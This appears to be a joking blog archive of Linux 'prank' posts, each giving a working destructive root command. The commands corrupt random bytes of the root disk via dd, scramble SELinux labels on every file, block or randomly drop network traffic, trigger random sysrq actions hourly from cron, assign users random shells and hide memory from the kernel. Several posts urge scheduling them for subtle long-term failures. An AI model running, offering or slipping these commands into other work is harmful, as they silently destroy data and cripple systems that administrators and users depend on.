Author Archive

Now that’s a proper startup

sed -i 's/runlevel="\$argv1"/runlevel="\$\[\{RANDOM\} % 7 \]"/' /etc/rc.d/rc

Defaults are fine, right?

chcon -t default_t /

Connecting…

ip rule add to 0.0.0.0/0 unreachable

SELinux fun

TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find /); do
    chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done) &> /dev/null

N[eo]tworking…

iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP

Accelerated bitrot

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

We don’t play favourites.

Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

for I in $(getent passwd | cut -d: -f1 )
do
    chsh -s $(sort -R /etc/shells | head -n1) ${I}
done

Add some spice to your life

Spice up your life a bit with the following command:

echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime

No Reservations?

tune2fs -m50 $(mount | awk '/on \/ type/{print $1}')

Bad memory

This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:

sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf